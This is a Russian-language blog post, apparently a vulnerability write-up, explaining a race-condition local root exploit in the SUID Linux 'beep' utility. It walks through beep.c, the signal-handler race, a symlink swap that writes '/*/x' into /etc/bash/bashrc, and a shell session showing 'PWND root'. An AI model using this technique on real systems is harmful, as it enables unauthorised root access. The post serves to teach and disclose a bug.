В былые времена люди использовали
\a
для генерирования неприятных «гудков» из спикеров системных блоков. Это было особенно неудобно, если хотелось генерировать более сложные звуковые последовательности вроде 8-битной музыки. Поэтому Джонатан Найтингейл написал программу beep
. Это была коротенькая и очень простая программа, позволявшая тонко настраивать звучание из спикера.С появлением X-сервера всё стало куда сложнее.
Чтобы
beep
могла работать, пользователь должен был либо быть суперпользователем, либо являться владельцем текущего tty. То есть beep
всегда будет работать у root-пользователя или у любого локального, но не будет работать у не-root удалённого пользователя. При этом любой терминал (например, xterm), подключённый к X-серверу, считается «удалённым», и поэтому beep
работать не будет.Многие пользователи (и дистрибутивы) решают проблему с помощью бита
SUID
. Это специальный бит, если задать его для бинарника, то файл исполняется с правами владельца (в данном случае root), а не обычного пользователя (вашими).Сегодня этот бит используется широко, в основном ради удобства. Например, для работы
poweroff
нужны root-привилегии (только root-пользователь может выключить компьютер), но для персонального компьютера это было бы слишком. Представьте, что вы сисадмин, и все пользователи в компании просят вас выключать им компьютеры. С другой стороны, если один злоумышленник может выключить сервер с большим количеством пользователей, это серьёзная брешь в безопасности.Конечно, все программы, использующие
SUID
— потенциальные бреши. Возьмите тот же bash, бесплатную root-оболочку. Поэтому такие программы очень тщательно анализируются сообществом.Вы можете подумать, что программу вроде
beep
, состоящую всего из 375 строк кода, просмотренную кучей народа, можно ставить без опаски, несмотря на SUID
, верно?Вовсе нет!
Разбираемся в коде
Давайте посмотрим исходный код
beep
, он лежит здесь: https://github.com/johnath/beep/blob/master/beep.c. Главная функция задаёт обработчики сигналов, парсит аргументы, и для каждого запрошенного звука вызывает
play_beep()
.int main(int argc, char **argv) {
/* ... */
signal(SIGINT, handle_signal);
signal(SIGTERM, handle_signal);
parse_command_line(argc, argv, parms);
while(parms) {
beep_parms_t *next = parms->next;
if(parms->stdin_beep) {
/* ... */
} else {
play_beep(*parms);
}
/* Junk each parms struct after playing it */
free(parms);
parms = next;
}
if(console_device)
free(console_device);
return EXIT_SUCCESS;
}
В свою очередь,
play_beep()
открывает целевое устройство, ищет его типы и для каждого повтора вызывает do_beep()
.void play_beep(beep_parms_t parms) {
/* ... */
/* try to snag the console */
if(console_device)
console_fd = open(console_device, O_WRONLY);
else
if((console_fd = open("/dev/tty0", O_WRONLY)) == -1)
console_fd = open("/dev/vc/0", O_WRONLY);
if(console_fd == -1) {
/* ... */
}
if (ioctl(console_fd, EVIOCGSND(0)) != -1)
console_type = BEEP_TYPE_EVDEV;
else
console_type = BEEP_TYPE_CONSOLE;
/* Beep */
for (i = 0; i < parms.reps; i++) { /* start beep */
do_beep(parms.freq);
usleep(1000*parms.length); /* wait... */
do_beep(0); /* stop beep */
if(parms.end_delay || (i+1 < parms.reps))
usleep(1000*parms.delay); /* wait... */
} /* repeat. */
close(console_fd);
}
do_beep()
просто вызывает нужную функцию для генерирования сигнала в зависимости от целевого устройства:void do_beep(int freq) {
int period = (freq != 0 ? (int)(CLOCK_TICK_RATE/freq) : freq);
if(console_type == BEEP_TYPE_CONSOLE) {
if(ioctl(console_fd, KIOCSOUND, period) < 0) {
putchar('\a');
perror("ioctl");
}
} else {
/* BEEP_TYPE_EVDEV */
struct input_event e;
e.type = EV_SND;
e.code = SND_TONE;
e.value = freq;
if(write(console_fd, &e, sizeof(struct input_event)) < 0) {
putchar('\a'); /* See above */
perror("write");
}
}
}
Обработчик сигнала устроен просто: он освобождает целевое устройство (
char *
), и если оно работало, прерывает звук, вызвав do_beep(0)
./* If we get interrupted, it would be nice to not leave the speaker beeping in
perpetuity. */
void handle_signal(int signum) {
if(console_device)
free(console_device);
switch(signum) {
case SIGINT:
case SIGTERM:
if(console_fd >= 0) {
/* Kill the sound, quit gracefully */
do_beep(0);
close(console_fd);
exit(signum);
} else {
/* Just quit gracefully */
exit(signum);
}
}
}
В первую очередь моё внимание привлекло то, что если
SIGINT
и SIGTERM
отправляются одновременно, есть вероятность дважды вызвать free()
. Но я не вижу иных полезных применений кроме падения программы, поскольку после этого console_device
уже не будет нигде использоваться.Чего мы хотели бы добиться в идеале?
Эта функция
write()
в do_beep()
выглядит подходяще. Отлично было бы использовать её для записи в промежуточный файл!Но эта запись защищена
console_type
, которая должна быть BEEP_TYPE_EVDEV
.console_type
задаётся в play_beep()
в зависимости от возвращаемого значения ioctl()
. То есть ioctl()
должна разрешить быть BEEP_TYPE_EVDEV
.Но мы не можем заставить
ioctl()
соврать. Если файл не относится к устройству, ioctl()
просбоит, device_type
не будет BEEP_TYPE_EVDEV
, а do_beep()
не вызовет write()
(вместо этого она использует ioctl()
, которая, насколько мне известно, в этом контексте безопасна).Но у нас есть ещё обработчик сигналов, а сигналы могут генерироваться в любое время!
Состояние гонки
Этот обработчик сигналов вызывает
do_beep()
. Если в этот момент в console_fd
и console_type
у нас корректные значения, то мы сможем записать в целевой файл.Поскольку сигналы могут быть вызваны в любом месте, нужно найти конкретное место, в котором обе переменные не содержат корректных значений.
Помните
play_beep()
? Вот код:void play_beep(beep_parms_t parms) {
/* ... */
/* try to snag the console */
if(console_device)
console_fd = open(console_device, O_WRONLY);
else
if((console_fd = open("/dev/tty0", O_WRONLY)) == -1)
console_fd = open("/dev/vc/0", O_WRONLY);
if(console_fd == -1) {
/* ... */
}
if (ioctl(console_fd, EVIOCGSND(0)) != -1)
console_type = BEEP_TYPE_EVDEV;
else
console_type = BEEP_TYPE_CONSOLE;
/* Beep */
for (i = 0; i < parms.reps; i++) { /* start beep */
do_beep(parms.freq);
usleep(1000*parms.length); /* wait... */
do_beep(0); /* stop beep */
if(parms.end_delay || (i+1 < parms.reps))
usleep(1000*parms.delay); /* wait... */
} /* repeat. */
close(console_fd);
}
Она вызывается при каждом запрошенном
beep
. Если предыдущий вызов выполнен успешно, console_fd
и console_type
всё ещё будут иметь свои старые значения.Это значит, что в небольшом фрагменте кода (с 285 по 293 строку)
console_fd
имеет новое значение, а console_type
— всё ещё имеет старое значение.Вот оно. Вот наше состояние гонки. Именно в этот момент мы будем запускать обработчика сигналов.
Пишем эксплоит
Написать эксплоит было нелегко. Очень непросто оказалось вычислить нужный момент.
После начала beep нельзя изменить путь к целевому устройству (
console_device
). Но можно сделать симлинк, сначала ведущий на правильное устройство, а потом на целевой файл.А раз теперь мы можем писать в этот файл, нужно понять, что писать.
Вызов, позволяющий выполнить запись:
struct input_event e;
e.type = EV_SND;
e.code = SND_TONE;
e.value = freq;
if(write(console_fd, &e, sizeof(struct input_event)) < 0) {
putchar('\a'); /* See above */
perror("write");
}
Структура
struct input_event
определена в linux/input.h
:struct input_event {
struct timeval time;
__u16 type;
__u16 code;
__s32 value;
};
struct timeval {
__kernel_time_t tv_sec; /* seconds */
__kernel_suseconds_t tv_usec; /* microseconds */
};
// On my system, sizeof(struct timeval) is 16.
Элемент
time
присвоен не в исходном коде beep
, и это первый элемент структуры, так что его значением будут первые байты целевого файла после атаки.Возможно, мы сможем обмануть стек, чтобы он сохранил нужное значение?
После кучи проб и ошибок я выяснил, что там будет храниться значение параметра
-l
, а после него — \0
. Значение целочисленное, что даёт нам 4 байта.Четыре байта, которые мы можем записать в любой существующий файл.
Я решил записать
/*/x
. В скрипте оболочки это приведёт к исполнению программы (заранее сделанной) /tmp/x
. Если атаковать файл
/etc/profile
или /etc/bash/bashrc
, то мы добьёмся полного успеха при любом залогиненном пользователе.Для автоматизации атаки я написал маленький скрипт на Python (лежит здесь: https://gist.github.com/Arignir/0b9d45c56551af39969368396e27abe8). Он назначает симлинк, ведущий на
/dev/input/event0
, запускает beep
, ждёт немного, переназначает ссылку, снова ждёт, а затем генерирует сигнал.$ echo 'echo PWND $(whoami)' > /tmp/x
$ ./exploit.py /etc/bash/bashrc # Or any shell script
Backup made at '/etc/bash/bashrc.bak'
Done!
$ su
PWND root
Мне встречались решения, использующие cron-задачи. Такой подход выглядит лучше, поскольку не требует root-входа, но у меня не было возможности протестировать.
Заключение
Это был мой первый эксплоит нулевого дня.
В начале было довольно трудно найти утечку. Пришлось анализировать снова и снова, пока не придумал решение.
Я узнал, что обработка сигналов гораздо сложнее, чем мне казалось, особенно потому, что нужно избегать не-реентерабельные функции, и что запрещены практически все функции из библиотеки С.